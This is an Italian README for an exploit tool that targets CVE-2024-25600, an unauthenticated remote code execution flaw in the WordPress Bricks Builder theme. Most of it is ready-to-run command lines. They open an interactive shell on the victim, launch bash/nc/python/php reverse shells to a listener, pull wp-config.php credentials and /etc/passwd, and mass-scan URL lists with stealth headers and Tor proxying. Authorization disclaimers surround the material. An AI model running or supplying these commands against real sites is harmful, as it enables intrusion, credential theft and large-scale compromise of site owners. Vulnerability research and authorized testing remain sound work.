
CVE-2024-25600 - Exploit RCE non autenticato per il tema WordPress Bricks Builder. Framework di sfruttamento avanzato con shell interattiva, reverse shell, upload/download di file, scansione asincrona, modalità stealth, supporto proxy e scansione di vulnerabilità multi-thread. Solo per test di sicurezza autorizzati.
Strumento di valutazione della sicurezza autorizzato per CVE-2024-25600
Autore: Sudeepa Wanigarathna · Strumento: BricksRCE Exploiter v1.0
Script principale: cve-2024-25600.py

[!IMPORTANT] Solo uso autorizzato. Questo strumento è destinato a ricerca sulla sicurezza, formazione e test di sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per uso improprio.
CVE-2024-25600 è una vulnerabilità critica di esecuzione di codice remoto non autenticato nel tema WordPress Bricks Builder. La gestione impropria dell'input controllato dall'utente nell'endpoint REST render_element consente ad attaccanti non autenticati di eseguire comandi PHP/di sistema arbitrari sulle installazioni vulnerabili.
BricksRCE Exploiter (cve-2024-25600.py) è uno strumento di valutazione Python completo per professionisti della sicurezza autorizzati per:
| Attributo | Valore |
|---|---|
| CVE ID | CVE-2024-25600 |
| CVSS | 9.8 (Critico) |
| Vettore d'attacco | Rete — non autenticato |
| Impatto | Esecuzione di codice remoto totale, compromissione di riservatezza / integrità / disponibilità |
| Prodotto interessato | Tema WordPress Bricks Builder |
| Versioni interessate | Bricks ≤ 1.9.6 (corretto in 1.9.6.1+) |
| Tipo di vulnerabilità | Esecuzione di codice remoto non autenticata |
| CWE | CWE-94 (Controllo improprio della generazione del codice) |
| Endpoint | Metodo |
|---|---|
/wp-json/bricks/v1/render_element | POST |
/?rest_route=/bricks/v1/render_element | POST |
render_element manipolata con un payload di elemento malevolo| Capacità | Descrizione |
|---|---|
| Rilevamento vulnerabilità | Conferma RCE tramite sonda basata su marker controllato |
| Estrazione nonce | Scoperta nonce multi-metodo (script, sorgente pagina, meta, REST) |
| Rilevamento versione | Identifica versione di Bricks Builder da CSS / readme / REST |
| Shell interattiva | REPL completo con cronologia, completamento automatico e trasferimento file |
| Modalità comando singolo | Esegue un comando e termina (adatto a script) |
| Helper shell inversa | Genera shell inverse bash / nc / Python / PHP / Perl / Ruby |
| Estrazione wp-config | Tenta di localizzare e leggere wp-config.php |
| Scansione di massa | Scansione multi-target asincrona o con thread da un elenco di URL |
| Capacità | Descrizione |
|---|---|
| Limitazione della velocità | Ritardo configurabile tra le richieste |
| Logica di ripetizione | Backoff esponenziale su timeout ed errori di connessione |
| Rotazione User-Agent | Impronte digitali casuali del browser per richiesta |
| Modalità stealth | Intestazioni Accept-Language / Accept-Encoding randomizzate |
| Supporto proxy | HTTP, HTTPS, SOCKS5 / SOCKS5h |
| Doppi endpoint | Preferisce wp-json, rest_route o entrambi |
| Modalità forzata | Salta il pre-controllo e tenta lo sfruttamento direttamente |
| CLI ricca | Barre di avanzamento, tabelle e pannelli colorati tramite Rich |
| Capacità | Descrizione |
|---|---|
| Esportazione JSON / TXT | Salva risultati di scansione e target vulnerabili |
| Cronologia comandi | Registrazione opzionale dei comandi eseguiti |
| Log su file | bricks_rce.log persistente più percorsi di log personalizzati |
pipgit clone https://github.com/CerberusMrXi/WP-Bricks-Exploit-CVE-2024-25600.git
cd WP-Bricks-Exploit-CVE-2024-25600
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2024-25600.py --help
requests>=2.31.0
aiohttp>=3.9.0
beautifulsoup4>=4.12.0
lxml>=4.9.0
prompt-toolkit>=3.0.0
rich>=13.7.0
pysocks>=1.7.0 # opzionale — supporto proxy SOCKS5
Sostituisci
https://target.examplecon un target di laboratorio o autorizzato solo.
# Shell interattiva
python3 cve-2024-25600.py -u https://target.example
# Comando singolo
python3 cve-2024-25600.py -u https://target.example --cmd "id"
# Scansione di massa
python3 cve-2024-25600.py -f targets.txt -t 20 -o results.json
# Rilevamento versione
python3 cve-2024-25600.py -u https://target.example --detect-version
# Tramite proxy Burp
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
Tutti gli esempi utilizzano lo script principale:
cve-2024-25600.py
python3 cve-2024-25600.py --help
Apre una shell RCE interattiva dopo aver confermato che il target è vulnerabile.
python3 cve-2024-25600.py -u https://target.example
Flusso di lavoro:
--force)python3 cve-2024-25600.py -u https://target.example --cmd "whoami"
Salvare l'output del comando in un file:
python3 cve-2024-25600.py -u https://target.example --cmd "id" --save-output
# Payload predefinito basato su eccezione PHP
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload php
# Payload basato su system()
python3 cve-2024-25600.py -u https://target.example --cmd "uname -a" --payload system
python3 cve-2024-25600.py -u https://target.example --detect-version
Combinare con un comando:
python3 cve-2024-25600.py -u https://target.example --detect-version --cmd "id"
python3 cve-2024-25600.py -u https://target.example --extract-wp-config
Salvato come wp-config_<target>.txt in caso di successo.
# Terminale 1 — ascoltatore
nc -lvnp 4444
# Terminale 2 — shell inversa bash
python3 cve-2024-25600.py -u https://target.example \
--reverse-shell bash \
--lhost 10.0.0.5 \
--lport 4444
Tutti i tipi di shell inversa supportati:
python3 cve-2024-25600.py -u https://target.example --reverse-shell bash --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell nc --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell python --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell php --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell perl --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --reverse-shell ruby --lhost 10.0.0.5 --lport 4444
python3 cve-2024-25600.py -u https://target.example --force --cmd "uname -a"
# targets.txt — un URL per riga
python3 cve-2024-25600.py -f targets.txt
Con thread, ritardo, stealth e output JSON:
python3 cve-2024-25600.py -f targets.txt \
-t 15 \
--delay 0.5 \
--stealth \
-o vulnerable.json
Scansione sincrona (pool di thread) invece di asincrona:
python3 cve-2024-25600.py -f targets.txt --sync -t 10 -o results.txt
Scansione di massa silenziosa:
python3 cve-2024-25600.py -f targets.txt -q -o results.json
# Entrambi gli endpoint (predefinito)
python3 cve-2024-25600.py -u https://target.example --endpoint both
# Solo /wp-json/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint json
# Solo /?rest_route=/bricks/v1/render_element
python3 cve-2024-25600.py -u https://target.example --endpoint rest_route
python3 cve-2024-25600.py -u https://target.example \
--stealth \
--delay 1.0 \
--max-retries 5 \
--timeout 20
# UA personalizzato
python3 cve-2024-25600.py -u https://target.example \
--user-agent "Mozilla/5.0 (compatible; SecurityScanner/1.0)"
# Disabilita rotazione UA casuale
python3 cve-2024-25600.py -u https://target.example --no-random-ua
# Proxy HTTP (es. Burp Suite)
python3 cve-2024-25600.py -u https://target.example --proxy http://127.0.0.1:8080 -v
# Proxy SOCKS5
python3 cve-2024-25600.py -u https://target.example --proxy socks5://127.0.0.1:9050
# SOCKS5h (DNS tramite proxy / Tor)
python3 cve-2024-25600.py -u https://target.example --proxy socks5h://127.0.0.1:9050
# Abilita verifica certificato SSL (disabilitata per impostazione predefinita)
python3 cve-2024-25600.py -u https://target.example --verify-ssl
# Salva risultati scansione come JSON
python3 cve-2024-25600.py -f targets.txt -o results.json
# Salva risultati scansione come TXT
python3 cve-2024-25600.py -f targets.txt -o results.txt
# File di log applicativo personalizzato
python3 cve-2024-25600.py -u https://target.example --log-file assessment.log -v
# Log dei comandi eseguiti
python3 cve-2024-25600.py -u https://target.example --command-log commands.log --cmd "id"
# Logging verbose / debug
python3 cve-2024-25600.py -u https://target.example -v
# Modalità silenziosa (output minimo)
python3 cve-2024-25600.py -u https://target.example -q --cmd "id"
python3 cve-2024-25600.py -f targets.txt \
-t 25 \
--timeout 20 \
--delay 0.2 \
--max-retries 5 \
-o results.json
python3 cve-2024-25600.py -u https://target.example \
--detect-version \
--extract-wp-config \
--stealth \
--delay 0.8 \
--timeout 20 \
--max-retries 5 \
--endpoint both \
--proxy http://127.0.0.1:8080 \
--log-file bricks_assessment.log \
--command-log commands.log \
-v
Dopo l'avvio con -u (senza --cmd / --reverse-shell):
Shell> whoami
Shell> id
Shell> pwd
Shell> ls -la
Shell> help
Shell> clear
Shell> download /etc/passwd
Shell> upload ./local.txt /tmp/remote.txt
Shell> php id
Shell> system uname -a
Shell> exit
| Argomento | Descrizione |
|---|---|
-u, --url | URL del singolo target |
-f, --file | File contenente URL target (uno per riga) |
| Argomento | Predefinito | Descrizione |
|---|---|---|
-t, --threads | 10 | Worker concorrenti per scansioni di massa |
--delay | 0.5 | Ritardo tra le richieste (secondi) |
--timeout | 15 | Timeout richiesta HTTP (secondi) |
--max-retries | 3 | Tentativi di ripetizione in caso di fallimento |
--force | disattivato | Salta controllo vulnerabilità |
--sync | disattivato | Usa pool di thread invece di asincrono |
| Argomento | Descrizione |
|---|---|
--user-agent | Stringa User-Agent personalizzata |
--no-random-ua | Disabilita rotazione User-Agent |
--proxy | URL proxy (http://, https://, socks5://, socks5h://) |
--stealth | Abilita modalità stealth (intestazioni casuali + ritardi) |
--endpoint | json | rest_route | both (predefinito: both) |
| Argomento | Descrizione |
|---|---|
--cmd | Esegue un singolo comando e termina |
--payload | Tipo di payload: php (predefinito) o system |
--reverse-shell | Tipo di shell: bash, nc, python, php, perl, ruby |
--lhost | Host dell'ascoltatore per shell inversa |
--lport | Porta dell'ascoltatore per shell inversa |
--extract-wp-config | Tenta di estrarre wp-config.php |
--detect-version | Rileva versione di Bricks Builder |
--save-output | Salva output del singolo comando in un file |
| Argomento | Descrizione |
|---|---|
-o, --output | File risultati (.json o .txt) |
--log-file | Percorso log dettagliato personalizzato |
--command-log | Registra comandi eseguiti in un file |
-v, --verbose | Logging di debug |
-q, --quiet | Output console minimo |
--verify-ssl | Abilita verifica certificato SSL (disabilitato per impostazione predefinita) |
Quando si sfrutta un singolo target senza --cmd o --reverse-shell, si apre una shell interattiva:
Shell> whoami
www-data
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Shell> help
| Comando | Descrizione |
|---|---|
exit | Esce dalla shell |
help | Mostra aiuto |
clear | Pulisce lo schermo |
download [remoto] | Scarica un file remoto (trasferimento base64) |
upload [locale] [remoto] | Carica un file locale sul target |
php [comando] | Esegue tramite payload PHP (predefinito) |
system [comando] | Esegue tramite payload system() |
~/.bricks_rce_historyPannelli, barre di avanzamento e tabelle dei risultati basati su Rich:
[*] Test: https://target.example
[+] https://target.example è vulnerabile!
[+] Shell interattiva aperta con successo
| Metrica | Descrizione |
|---|---|
| Totale elaborati | URL scansionati |
| Riusciti | Confermati vulnerabili |
| Falliti | Non vulnerabili / irraggiungibili |
| Vulnerabili trovati | Conteggio target RCE confermati |
| Comandi eseguiti | Numero totale di esecuzioni comando RCE |
| Tempo trascorso | Durata scansione a orologio |
-o results.json){
"timestamp": "2026-07-17T01:30:00",
"version": "1.0.0",
"config": {
"threads": 10,
"timeout": 15,
"delay": 0.5
},
"stats": {
"processed": 100,
"vulnerable": 3,
"failed": 97
},
"vulnerable_targets": [
{
"url": "https://target.example",
"timestamp": "2026-07-17T01:31:12"
}
]
}
| File | Scopo |
|---|---|
bricks_rce.log | Log applicativo predefinito con append |
--log-file PATH | Gestore log personalizzato aggiuntivo |
--command-log PATH | Tracciamento comandi eseguiti |
| Sintomo | Cosa provare |
|---|---|
| Nonce non trovato | Conferma che Bricks sia attivo; prova -v; assicurati che la pagina principale carichi |
| Target non vulnerabile | Verifica Bricks ≤ 1.9.6; prova --force; controlla entrambi gli endpoint |
| Timeout di connessione | Aumenta --timeout / --max-retries; controlla il proxy |
| Limitazione velocità (429) | Aumenta --delay; abilita --stealth |
| Errori SSL | Per impostazione predefinita salta verifica; usa --verify-ssl solo se necessario |
| Instabilità asincrona | Usa --sync per scansione con thread |
| Shell inversa fallisce | Conferma che l'ascoltatore sia attivo; prova tipi di shell alternativi (python, nc) |
| Output comando vuoto | Il comando potrebbe essere riuscito senza stdout; prova echo test |
| wp-config non trovato | I percorsi variano per host; usa shell interattiva con find / cat personalizzato |
# Controllo verbose su singolo target
python3 cve-2024-25600.py -u https://target.example --detect-version -v
# Tramite Burp per ispezione richieste
python3 cve-2024-25600.py -u https://target.example \
--proxy http://127.0.0.1:8080 -v --cmd "id"
# Preferisci un endpoint specifico
python3 cve-2024-25600.py -u https://target.example --endpoint json -v
exploit/
├── cve-2024-25600.py # BricksRCE Exploiter (v1.0)
├── requirements.txt # Dipendenze Python
├── README.md # Questo file
├── bricks_rce.log # Log di runtime (generato)
└── venv/ # Virtualenv locale (opzionale, non committato)
Questo progetto è fornito così com'è per ricerca sulla sicurezza difensiva e test di penetrazione autorizzati.
Usando questo software accetti che:
Se scopri questa vulnerabilità in ambienti di produzione che non possiedi, segui le pratiche di divulgazione responsabile e coordina con il proprietario del sito / il team di sicurezza di Bricks Builder.
L'accesso non autorizzato a sistemi informatici è un reato federale.
| Ruolo | Nome |
|---|---|
| Autore dello strumento | Sudeepa Wanigarathna |
| CVE | CVE-2024-25600 |
| Strumento | BricksRCE Exploiter v1.0 |
| Script principale | cve-2024-25600.py |
| Licenza | MIT |
Licenza MIT
Copyright (c) 2024–2026 Sudeepa Wanigarathna
Con la presente viene concessa autorizzazione, gratuitamente, a chiunque ottenga una copia
di questo software e dei file di documentazione associati (il "Software"), di trattare
il Software senza restrizioni, inclusi, senza limitazione, i diritti
di utilizzare, copiare, modificare, unire, pubblicare, distribuire, concedere in sublicenza e/o vendere
copie del Software, e di consentire alle persone a cui il Software è
fornito di fare altrettanto, alle seguenti condizioni:
L'avviso di copyright sopra indicato e questo avviso di autorizzazione devono essere inclusi in tutte le
copie o parti sostanziali del Software.
IL SOFTWARE VIENE FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O
IMPLICITA, IVI COMPRESE, MA SENZA LIMITAZIONE, LE GARANZIE DI COMMERCIABILITÀ,
IDONEITÀ PER UNO SCOPO PARTICOLARE E NON VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT
POTRANNO ESSERE RITENUTI RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA
RESPONSABILITÀ, SIA IN UN'AZIONE CONTRATTUALE, EXTRACONTRATTUALE O ALTRO, DERIVANTE DA,
O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE.
Solo per test di sicurezza autorizzati.